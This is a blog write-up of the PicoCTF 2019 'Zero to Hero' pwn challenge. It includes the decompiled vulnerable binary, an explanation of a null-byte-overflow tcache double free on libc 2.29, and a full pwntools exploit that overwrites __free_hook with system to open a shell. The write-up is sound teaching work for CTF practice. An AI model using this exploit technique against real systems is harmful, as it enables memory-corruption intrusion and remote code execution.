Search This Blog

Thursday, October 17, 2019

PicoCTF 2019 Zero to Hero Writeup

Zero to Hero was the final pwn of PicoCTF 2019.  It is using libc 2.29 so it has the whole key mechanism to protect against double frees.  However, the program allows you to overwrite by one null byte; this byte once again allows us to pop a shell; many of the competitors said that this technique should be called the House of Poortho.  It's also a slightly more difficult version but in some ways quite similar to this heap challenge.  Before I continue, here is the program reversed:

//libc 2.29, so tcache protection with keys

void add(void)
{
  long lVar1;
  void *pvVar2;
  ssize_t sVar3;
  long in_FS_OFFSET;
  uint local_28;
  int local_24;
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0;
  local_24 = FUN_004009c2(); //7 chunks only, doesn't reduce number
  if (local_24 < 0) {
    puts("You have too many powers!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("Describe your new power.");
  puts("What is the length of your description?");
  printf("> ");
  __isoc99_scanf(&DAT_00400f0b,&local_28);
  getchar();
  if (0x408 < local_28) { //can't go over 0x408
    puts("Power too strong!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pvVar2 = malloc((ulong)local_28);
  *(void **)(&DAT_00602060 + (long)local_24 * 8) = pvVar2;  //stored at array at 00602060
  puts("Enter your description: ");
  printf("> ");
  lVar1 = *(long *)(&DAT_00602060 + (long)local_24 * 8);
  sVar3 = read(0,*(void **)(&DAT_00602060 + (long)local_24 * 8),(ulong)local_28);
  *(undefined *)(sVar3 + lVar1) = 0; //null byte overflow
  puts("Done!");
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void delete(void)
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  puts("Which power would you like to remove?");
  printf("> ");
  __isoc99_scanf(&DAT_00400f0b,&local_14);
  getchar();
  if (6 < local_14) {
    puts("Invalid index!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&DAT_00602060 + (ulong)local_14 * 8)); //use after free, not setting to 0
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void menu(void)
{
  puts("1. Get a superpower");
  puts("2. Remove a superpower");
  puts("3. Exit");
  return;
}

void main(void)
{
  ssize_t sVar1;
  long in_FS_OFFSET;
  int local_2c;
  char local_28 [24];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  puts("From Zero to Hero");
  puts("So, you want to be a hero?");
  sVar1 = read(0,local_28,0x14);
  local_28[sVar1] = 0;
  if (local_28[0] != 'y') {
    puts("No? Then why are you even here?");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Really? Being a hero is hard.");
  puts("Fine. I see I can\'t convince you otherwise.");
  printf("It\'s dangerous to go alone. Take this: %p\n",system);
  while( true ) {
    while( true ) {
      menu();
      printf("> ");
      local_2c = 0;
      __isoc99_scanf(&DAT_00401040,&local_2c);
      getchar();
      if (local_2c != 2) break;
      delete();
    }
    if (local_2c == 3) break;
    if (local_2c != 1) goto LAB_00400dce;
    add();
  }
  puts("Giving up?");
LAB_00400dce:
                    /* WARNING: Subroutine does not return */
  exit(0);
}


void printflag(void)
{
  int iVar1;
  FILE *__fp;

  __fp = fopen("flag.txt","r");
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

Now, there is a UAF (which will allow for double frees later) and a null byte overflow during allocation.  How do we beat the libc 2.29 check in this scenario?

First, we allocate something, then allocate another chunk (let's say size 0x150).  We free both the chunk above and this 0x150 chunk (real size 0x160 because metadata).  Then we re-allocate something of the first size to get that chunk back and this time, null byte overflow the size field below.  We can re-free the overflown chunk and now it goes into a different bin (specifically the 0x100 tcache bin because of the single null byte overflow).

We can then re-allocate size 0x150 to get this very same chunk back from its tcachebin, and then free it back into 0x100 as the null byte is still in effect, thereby creating a double free by which we can overwrite next pointers for the 0x100 tcachebin.

Then, we can manipulate free hook to pop a shell by calling “free” (now overwritten with system) on a chunk with “/bin/sh."  Also, the leak is already given to use in the beginning in the form of system().  Here is my final exploit:

from pwn import *

elf = ELF('./zero_to_hero')
libc = ELF('./libc.so.6') #2.29 with key mechanism

#context.log_level = 'debug'
#p=process('./zero_to_hero')
p = remote('2019shell1.picoctf.com', 49928)

def wait():
    p.recvrepeat(0.5)

def initiate(): #get libc leak too
    wait()
    p.sendline('y')
    p.recvline()
    p.recvline()
    leak = p.recvline().split('this: ')[1][2:]
    leak = int(leak, 16)
    return leak

def alloc(size, data):
    wait()
    p.sendline('1')
    wait()
    p.sendline(str(size))
    wait()
    p.sendline(data)

def delete(index):
    wait()
    p.sendline('2')
    wait()
    p.sendline(str(index))

system = initiate()
libcBase = system - libc.symbols['system']
freehook = libcBase + 0x1e75a8
log.info("System: " + hex(system))
log.info("Libc Base: " + hex(libcBase))
log.info("Free hook: " + hex(freehook))
#use the null byte to our advantage
#allocate something
#allocate 0x150 (0x160)size (2), free it, null byte overflow it (3) by reallocating first chunk, free it so it goes to 0x100
#then allocate another 0x150 (0x160) (4) to get that chunk back, free it again so it goes back to 0x100 bc null byte already overflowed... double free
#then allocate chunk 5 (0x90 to get 0x100), while overwriting fd to free hook, allocate chunk 6, allocate chunk 7 to get back free hook, can overwrite
#00000000001e75a8 <__free_hook@@GLIBC_2.2.5>:
payload1 = '/bin/sh\x00'
payload1 += 'A' * (0x58 - len(payload1))
alloc(0x50, '') #0
delete(0)
alloc(0x150, 'B'*30) #1
delete(1)
#p.interactive()
alloc(0x58, payload1) #2
#p.interactive()
'''
0xde2250:    0x0000000000000000    0x0000000000000061
0xde2260:    0x0068732f6e69622f    0x4141414141414141
0xde2270:    0x4141414141414141    0x4141414141414141
0xde2280:    0x4141414141414141    0x4141414141414141
0xde2290:    0x4141414141414141    0x4141414141414141
0xde22a0:    0x4141414141414141    0x4141414141414141
0xde22b0:    0x4141414141414141    0x0000000000000100
0xde22c0:    0x0000000000000000    0x0000000000de2010
0xde22d0:    0x4242424242424242    0x000a424242424242
'''
delete(1)
alloc(0x150, 'B' * 30) #3
delete(3)
alloc(0xf0, p64(freehook) + 'C' * 30) #4
alloc(0xf0, 'D' * 40) #5
#p.interactive()
alloc(0xf0, p64(system))
delete(0)
p.interactive()

Zero to hero is finished!

No comments:

Post a Comment